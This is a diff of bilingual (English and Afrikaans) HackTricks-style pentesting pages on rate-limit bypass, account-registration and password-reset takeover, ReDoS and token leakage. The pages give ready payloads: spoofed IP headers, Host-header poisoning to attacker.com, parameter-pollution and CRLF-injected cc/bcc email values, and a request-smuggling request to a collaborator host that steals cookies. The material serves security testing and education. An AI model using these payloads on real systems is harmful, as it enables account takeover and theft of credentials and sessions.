Inserting blank bytes like `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` into code or parameters can be a useful strategy. For example, adjusting a parameter to `code=1234%0a` allows for extending attempts through variations in input, like adding newline characters to an email address to get around attempt limitations.
Die invoeging van leë bytes soos `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` in kode of parameters kan 'n nuttige strategie wees. Byvoorbeeld, om 'n parameter aan te pas na `code=1234%0a` stel gebruikers in staat om pogings uit te brei deur variasies in invoer, soos om nuwe reël karakters by 'n e-posadres te voeg om om te gaan met pogingbeperkings.
### Manipulating IP Origin via Headers
Modifying headers to alter the perceived IP origin can help evade IP-based rate limiting. Headers such as `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, including using multiple instances of `X-Forwarded-For`, can be adjusted to simulate requests from different IPs.
### Manipuleer IP Oorsprong via Headers
Die aanpassing van headers om die waargenome IP oorsprong te verander kan help om IP-gebaseerde tariefbeperking te ontduik. Headers soos `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, insluitend die gebruik van meerdere instansies van `X-Forwarded-For`, kan aangepas word om versoeke van verskillende IP's te simuleer.
```bash
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
@ -37,38 +36,36 @@ X-Forwared-Host: 127.0.0.1
X-Forwarded-For:
X-Forwarded-For: 127.0.0.1
```
### Verandering van Ander Headers
### Changing Other Headers
Dit word aanbeveel om ander versoekheaders soos die user-agent en koekies te verander, aangesien hierdie ook gebruik kan word om versoekpatrone te identifiseer en te volg. Die verandering van hierdie headers kan voorkom dat die versoeker se aktiwiteite herken en gevolg word.
Altering other request headers such as the user-agent and cookies is recommended, as these can also be used to identify and track request patterns. Changing these headers can prevent recognition and tracking of the requester's activities.
### Benutting van API Gateway Gedrag
### Leveraging API Gateway Behavior
Sommige API-gateways is geconfigureer om spoedbeperkings toe te pas op grond van die kombinasie van eindpunt en parameters. Deur die parameterwaardes te varieer of nie-betekenisvolle parameters aan die versoek toe te voeg, is dit moontlik om die gateway se spoedbeperkingslogika te omseil, wat elke versoek uniek laat voorkom. Byvoorbeeld `/resetpwd?someparam=1`.
Some API gateways are configured to apply rate limiting based on the combination of endpoint and parameters. By varying the parameter values or adding non-significant parameters to the request, it's possible to circumvent the gateway's rate-limiting logic, making each request appear unique. For exmple `/resetpwd?someparam=1`.
### Teken in op Jou Rekening Voor Elke Poging
### Logging into Your Account Before Each Attempt
Teken in op 'n rekening voor elke poging, of elke stel pogings, kan die spoedbeperkings teller reset. Dit is veral nuttig wanneer jy inlogfunksies toets. Die gebruik van 'n Pitchfork-aanval in gereedskap soos Burp Suite, om akrediteer te roteer elke paar pogings en te verseker dat volg-omleidings gemerk is, kan effektief die spoedbeperkings tellers herbegin.
Logging into an account before each attempt, or every set of attempts, might reset the rate limit counter. This is especially useful when testing login functionalities. Utilizing a Pitchfork attack in tools like Burp Suite, to rotate credentials every few attempts and ensuring follow redirects are marked, can effectively restart rate limit counters.
### Benutting van Proxy Netwerke
### Utilizing Proxy Networks
Die ontplooiing van 'n netwerk van proxies om die versoeke oor verskeie IP-adresse te versprei, kan effektief IP-gebaseerde spoedbeperkings omseil. Deur verkeer deur verskeie proxies te lei, lyk elke versoek asof dit van 'n ander bron afkomstig is, wat die doeltreffendheid van die spoedbeperkings verdun.
Deploying a network of proxies to distribute the requests across multiple IP addresses can effectively bypass IP-based rate limits. By routing traffic through various proxies, each request appears to originate from a different source, diluting the rate limit's effectiveness.
### Verdeling van die Aanval oor Verskillende Rekeninge of Sessies
### Splitting the Attack Across Different Accounts or Sessions
As die teikenstelsel spoedbeperkings op 'n per-rekening of per-sessie basis toepas, kan die verspreiding van die aanval of toets oor verskeie rekening of sessies help om opsporing te vermy. Hierdie benadering vereis die bestuur van verskeie identiteite of sessietokens, maar kan effektief die las versprei om binne toelaatbare grense te bly.
If the target system applies rate limits on a per-account or per-session basis, distributing the attack or test across multiple accounts or sessions can help in avoiding detection. This approach requires managing multiple identities or session tokens, but can effectively distribute the load to stay within allowable limits.
### Hou Aan Probeer
### Keep Trying
Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received.
Let daarop dat selfs al is daar 'n spoedbeperking in plek, jy moet probeer om te sien of die reaksie verskil wanneer die geldige OTP gestuur word. In [**hierdie pos**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), het die foutjagter ontdek dat selfs al is 'n spoedbeperking geaktiveer na 20 onsuksesvolle pogings deur met 401 te antwoord, as die geldige een gestuur is, is 'n 200 reaksie ontvang.
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) om maklik te bou en **werkvloei te outomatiseer** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=rate-limit-bypass" %}

View File

@ -1,78 +1,77 @@
# Registration & Takeover Vulnerabilities
# Registrasie & Oorname Kwessies
{{#include ../banners/hacktricks-training.md}}
## Registration Takeover
## Registrasie Oorname
### Duplicate Registration
### Dubbele Registrasie
- Try to generate using an existing username
- Check varying the email:
- uppsercase
- \+1@
- add some dot in the email
- special characters in the email name (%00, %09, %20)
- Put black characters after the email: `test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
- Probeer om te genereer met 'n bestaande gebruikersnaam
- Kontroleer verskillende e-pos:
- hoofletters
- \+1@
- voeg 'n punt in die e-pos by
- spesiale karakters in die e-pos naam (%00, %09, %20)
- Sit swart karakters na die e-pos: `test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
### Username Enumeration
### Gebruikersnaam Enumerasie
Check if you can figure out when a username has already been registered inside the application.
Kontroleer of jy kan uitvind wanneer 'n gebruikersnaam reeds binne die toepassing geregistreer is.
### Password Policy
### Wagwoordbeleid
Creating a user check the password policy (check if you can use weak passwords).\
In that case you may try to bruteforce credentials.
Skep 'n gebruiker en kontroleer die wagwoordbeleid (kontroleer of jy swak wagwoorde kan gebruik).\
In daardie geval kan jy probeer om akrediteer te brute-force.
### SQL Injection
### SQL Inbraak
[**Check this page** ](sql-injection/#insert-statement)to learn how to attempt account takeovers or extract information via **SQL Injections** in registry forms.
[**Kontroleer hierdie bladsy** ](sql-injection/#insert-statement)om te leer hoe om rekeningoorname te probeer of inligting via **SQL Inbrake** in registrasievorms te onttrek.
### Oauth Takeovers
### Oauth Oornames
{{#ref}}
oauth-to-account-takeover.md
{{#endref}}
### SAML Vulnerabilities
### SAML Kwessies
{{#ref}}
saml-attacks/
{{#endref}}
### Change Email
### Verander E-pos
When registered try to change the email and check if this change is correctly validated or can change it to arbitrary emails.
Wanneer geregistreer, probeer om die e-pos te verander en kontroleer of hierdie verandering korrek geverifieer word of of jy dit na arbitrêre e-posse kan verander.
### More Checks
### Meer Kontroles
- Check if you can use **disposable emails**
- **Long** **password** (>200) leads to **DoS**
- **Check rate limits on account creation**
- Use username@**burp_collab**.net and analyze the **callback**
- Kontroleer of jy **weggooie e-posse** kan gebruik
- **Lang** **wagwoord** (>200) lei tot **DoS**
- **Kontroleer koerslimiete op rekeningcreasie**
- Gebruik username@**burp_collab**.net en analiseer die **callback**
## **Password Reset Takeover**
## **Wagwoord Herstel Oornames**
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
### Wagwoord Herstel Token Lek Via Verwysing <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Request password reset to your email address
2. Click on the password reset link
3. Dont change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.
1. Versoek wagwoord herstel na jou e-posadres
2. Klik op die wagwoord herstel skakel
3. Moet nie wagwoord verander nie
4. Klik op enige 3de party webwerwe (bv: Facebook, twitter)
5. Intercepteer die versoek in Burp Suite proxy
6. Kontroleer of die verwysingskop lêer die wagwoord herstel token lek.
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
### Wagwoord Herstel Besmetting <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
1. Intercepteer die wagwoord herstel versoek in Burp Suite
2. Voeg of wysig die volgende koppe in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Stuur die versoek met die gewysigde kop\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Soek vir 'n wagwoord herstel URL gebaseer op die _host kop_ soos : `https://attacker.com/reset-password.php?token=TOKEN`
### Wagwoord Herstel Via E-pos Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -89,60 +88,58 @@ email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR op API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Aanvaller moet met hul rekening aanmeld en na die **Verander wagwoord** funksie gaan.
2. Begin die Burp Suite en onderskep die versoek.
3. Stuur dit na die herhaler tab en wysig die parameters: User ID/e-pos\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
1. Attacker have to login with their account and go to the **Change password** feature.
2. Start the Burp Suite and Intercept the request
3. Send it to the repeater tab and edit the parameters : User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Swak Wagwoord Herstel Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Die wagwoord herstel token moet ewekansig gegenereer en uniek wees elke keer.\
Probeer om te bepaal of die token verval of as dit altyd dieselfde is, in sommige gevalle is die generasie-algoritme swak en kan dit geraai word. Die volgende veranderlikes mag deur die algoritme gebruik word.
The password reset token should be randomly generated and unique every time.\
Try to determine if the token expire or if its always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
- Timestamp
- Tydstempel
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Number only
- Small token sequence ( characters between \[A-Z,a-z,0-9])
- Token reuse
- Token expiration date
- E-pos van gebruiker
- Voornaam en Van
- Geboortedatum
- Kriptografie
- Slegs nommers
- Klein token volgorde (karakters tussen \[A-Z,a-z,0-9])
- Token hergebruik
- Token vervaldatum
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
### Lekke Wagwoord Herstel Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
2. Inspect the server response and check for `resetToken`
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
1. Trigger 'n wagwoord herstel versoek deur die API/UI vir 'n spesifieke e-pos bv: test@mail.com
2. Ondersoek die bediener se antwoord en kyk vir `resetToken`
3. Gebruik dan die token in 'n URL soos `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
### Wagwoord Herstel Deur Gebruikersnaam Botsing <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Register on the system with a username identical to the victims username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
2. Request a password reset with your malicious username.
3. Use the token sent to your email and reset the victim password.
4. Connect to the victim account with the new password.
1. Registreer op die stelsel met 'n gebruikersnaam identies aan die slagoffer se gebruikersnaam, maar met spasie voor en/of na die gebruikersnaam ingevoeg. bv: `"admin "`
2. Versoek 'n wagwoord herstel met jou kwaadwillige gebruikersnaam.
3. Gebruik die token wat na jou e-pos gestuur is en herstel die slagoffer se wagwoord.
4. Sluit aan by die slagoffer se rekening met die nuwe wagwoord.
The platform CTFd was vulnerable to this attack.\
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
Die platform CTFd was kwesbaar vir hierdie aanval.\
Sien: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
### Rekening Oorname Deur Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
2. Leak the current **sessions cookie**
3. Authenticate as the user using the cookie
1. Vind 'n XSS binne die toepassing of 'n subdomein as die koekies na die ouer domein gescope is: `*.domain.com`
2. Lek die huidige **sessies koekie**
3. Verifieer as die gebruiker met behulp van die koekie
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
### Rekening Oorname Deur HTTP Versoek Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)\
1\. Gebruik **smuggler** om die tipe HTTP Versoek Smuggling (CL, TE, CL.TE) te detecteer\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` with the goal of open redirect the victims to burpcollab and steal their cookies\
3\. Final request could look like the following
2\. Stel 'n versoek op wat die `POST / HTTP/1.1` met die volgende data sal oorskryf:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` met die doel om die slagoffers na burpcollab te herlei en hul koekies te steel\
3\. Finale versoek kan soos volg lyk
```
GET / HTTP/1.1
Transfer-Encoding: chunked
@ -154,30 +151,28 @@ Content-Length: 83
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone reports exploiting this bug\
Hackerone rapporteer dat hierdie fout uitgebuit word\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Account Takeover via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
### Rekening Oorname via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Create a payload for the CSRF, e.g: “HTML form with auto submit for a password change
2. Send the payload
1. Skep 'n payload vir die CSRF, bv: “HTML vorm met outomatiese indiening vir 'n wagwoord verandering
2. Stuur die payload
### Account Takeover via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
### Rekening Oorname via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token might be used to authenticate an user.
JSON Web Token mag gebruik word om 'n gebruiker te verifieer.
- Edit the JWT with another User ID / Email
- Check for weak JWT signature
- Wysig die JWT met 'n ander Gebruiker ID / E-pos
- Kontroleer vir swak JWT handtekening
{{#ref}}
hacking-jwt-json-web-tokens.md
{{#endref}}
## References
## Verwysings
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
# Regular Expression Denial of Service (ReDoS)
A **Regular Expression Denial of Service (ReDoS)** happens when someone takes advantage of weaknesses in how regular expressions (a way to search and match patterns in text) work. Sometimes, when regular expressions are used, they can become very slow, especially if the piece of text they're working with gets larger. This slowness can get so bad that it grows really fast with even small increases in the text size. Attackers can use this problem to make a program that uses regular expressions stop working properly for a long time.
'n **Regular Expression Denial of Service (ReDoS)** gebeur wanneer iemand voordeel trek uit swakhede in hoe regulêre uitdrukkings (n manier om patrone in teks te soek en te pas) werk. Soms, wanneer regulêre uitdrukkings gebruik word, kan hulle baie stadig raak, veral as die stuk teks waarmee hulle werk groter word. Hierdie traagheid kan so erg raak dat dit regtig vinnig groei met selfs klein verhogings in die teksgrootte. Aanvallers kan hierdie probleem gebruik om 'n program wat regulêre uitdrukkings gebruik, vir 'n lang tyd te laat ophou om behoorlik te werk.
## The Problematic Regex Naïve Algorithm
@ -12,49 +12,48 @@ A **Regular Expression Denial of Service (ReDoS)** happens when someone takes ad
## Evil Regexes <a href="#evil-regexes" id="evil-regexes"></a>
An evil regular expression pattern is that one that can **get stuck on crafted input causing a DoS**. Evil regex patterns typically contain grouping with repetition and repetition or alternation with overlapping inside the repeated group. Some examples of evil patterns include:
'n Boosaardige regulêre uitdrukking patroon is daardie een wat kan **vastloop op vervaardigde invoer wat 'n DoS veroorsaak**. Boosaardige regex patrone bevat tipies groepe met herhaling en herhaling of alternasie met oorvleueling binne die herhaalde groep. Sommige voorbeelde van boosaardige patrone sluit in:
- (a+)+
- ([a-zA-Z]+)\*
- (a|aa)+
- (a|a?)+
- (.\*a){x} for x > 10
- (.\*a){x} vir x > 10
All those are vulnerable to the input `aaaaaaaaaaaaaaaaaaaaaaaa!`.
Al hierdie is kwesbaar vir die invoer `aaaaaaaaaaaaaaaaaaaaaaaa!`.
## ReDoS Payloads
### String Exfiltration via ReDoS
In a CTF (or bug bounty) maybe you **control the Regex a sensitive information (the flag) is matched with**. Then, if might be useful to make the **page freeze (timeout or longer processing time)** if the a **Regex matched** and **not if it didn't**. This way you will be able to **exfiltrate** the string **char by char**:
In 'n CTF (of bug bounty) mag jy **die Regex wat 'n sensitiewe inligting (die vlag) pas, beheer**. Dan kan dit nuttig wees om die **bladsy te laat vries (timeout of langer verwerkingstyd)** as die **Regex pas** en **nie as dit nie pas nie**. Op hierdie manier sal jy in staat wees om die **string** **karakter vir karakter** te **exfiltreer**:
- In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) you can find this ReDoS rule: `^(?=<flag>)((.*)*)*salt$`
- Example: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
- In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`<flag>(((((((.*)*)*)*)*)*)*)!`
- In [**this writeup**](https://ctftime.org/writeup/25869) he used: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
- In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) kan jy hierdie ReDoS-reël vind: `^(?=<flag>)((.*)*)*salt$`
- Voorbeeld: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
- In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) kan jy hierdie een vind: `<flag>(((((((.*)*)*)*)*)*)*)!`
- In [**this writeup**](https://ctftime.org/writeup/25869) het hy gebruik: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### ReDoS Controlling Input and Regex
The following are **ReDoS** examples where you **control** both the **input** and the **regex**:
Die volgende is **ReDoS** voorbeelde waar jy **beide** die **invoer** en die **regex** **beheer**:
```javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
;[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
@ -66,13 +65,12 @@ Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
## Tools
## Gereedskap
- [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
- [https://devina.io/redos-checker](https://devina.io/redos-checker)
## References
## Verwysings
- [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
- [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
@ -80,4 +78,3 @@ Regexp (a+)*$ took 723 milliseconds.
- [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,217 +4,200 @@
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
Bly op hoogte van die vinnig bewegende hacking wêreld deur middel van real-time nuus en insigte
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
## **Password Reset Token Leak Via Referrer**
- The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
- **Impact**: Potential account takeover via Cross-Site Request Forgery (CSRF) attacks.
- **Exploitation**: To check if a password reset token is leaking in the referer header, **request a password reset** to your email address and **click the reset link** provided. **Do not change your password** immediately. Instead, **navigate to a third-party website** (like Facebook or Twitter) while **intercepting the requests using Burp Suite**. Inspect the requests to see if the **referer header contains the password reset token**, as this could expose sensitive information to third parties.
- Die HTTP referer header mag die wagwoord reset token lek as dit in die URL ingesluit is. Dit kan gebeur wanneer 'n gebruiker op 'n derdeparty webwerf skakel na 'n wagwoord reset versoek.
- **Impact**: Potensiële rekening oorname via Cross-Site Request Forgery (CSRF) aanvalle.
- **Exploitation**: Om te kontroleer of 'n wagwoord reset token in die referer header lek, **versoek 'n wagwoord reset** na jou e-pos adres en **klik die reset skakel** wat gegee is. **Moet nie jou wagwoord** onmiddellik verander nie. In plaas daarvan, **navigeer na 'n derdeparty webwerf** (soos Facebook of Twitter) terwyl jy **die versoeke met Burp Suite onderskep**. Ondersoek die versoeke om te sien of die **referer header die wagwoord reset token bevat**, aangesien dit sensitiewe inligting aan derde partye kan blootstel.
- **References**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **Password Reset Poisoning**
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
- **Impact**: Leads to potential account takeover by leaking reset tokens to attackers.
- Aanvallers mag die Host header manipuleer tydens wagwoord reset versoeke om die reset skakel na 'n kwaadwillige webwerf te wys.
- **Impact**: Lei tot potensiële rekening oorname deur reset tokens aan aanvallers te lek.
- **Mitigation Steps**:
- Validate the Host header against a whitelist of allowed domains.
- Use secure, server-side methods to generate absolute URLs.
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
- Valideer die Host header teen 'n witlys van toegelate domeine.
- Gebruik veilige, bediener-kant metodes om absolute URL's te genereer.
- **Patch**: Gebruik `$_SERVER['SERVER_NAME']` om wagwoord reset URL's te konstrueer in plaas van `$_SERVER['HTTP_HOST']`.
- **References**:
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Password Reset By Manipulating Email Parameter**
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
- Add attacker email as second parameter using &
Aanvallers kan die wagwoord reset versoek manipuleer deur addisionele e-pos parameters by te voeg om die reset skakel te omlei.
- Voeg aanvaller e-pos as tweede parameter by met &
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
- Add attacker email as second parameter using %20
- Voeg aanvaller e-pos as tweede parameter by gebruik van %20
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
- Add attacker email as second parameter using |
- Voeg aanvaller e-pos as tweede parameter by gebruik van |
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
- Add attacker email as second parameter using cc
- Voeg aanvaller se e-pos as tweede parameter by gebruik van cc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
- Add attacker email as second parameter using bcc
- Voeg aanvaller e-pos as tweede parameter by gebruik van bcc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
- Add attacker email as second parameter using ,
- Voeg aanvaller e-pos as tweede parameter by gebruik van ,
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
- Add attacker email as second parameter in json array
- Voeg aanvaller e-pos as tweede parameter in json-array by.
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **Versagingsstappe**:
- Parse en valideer e-posparameters behoorlik aan die bediener-kant.
- Gebruik voorbereide verklarings of geparametriseerde navrae om inspuitaanvalle te voorkom.
- **Verwysings**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
- **Mitigation Steps**:
- Properly parse and validate email parameters server-side.
- Use prepared statements or parameterized queries to prevent injection attacks.
- **References**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **Changing Email And Password of any User through API Parameters**
- Attackers can modify email and password parameters in API requests to change account credentials.
## **Verandering van E-pos en Wagwoord van enige Gebruiker deur API Parameters**
- Aanvallers kan e-pos en wagwoordparameters in API-versoeke wysig om rekeningbesonderhede te verander.
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
- **Mitigering Stappe**:
- Verseker strikte parameter validasie en outentikasie kontroles.
- Implementeer robuuste logging en monitering om verdagte aktiwiteite te ontdek en daarop te reageer.
- **Verwysing**:
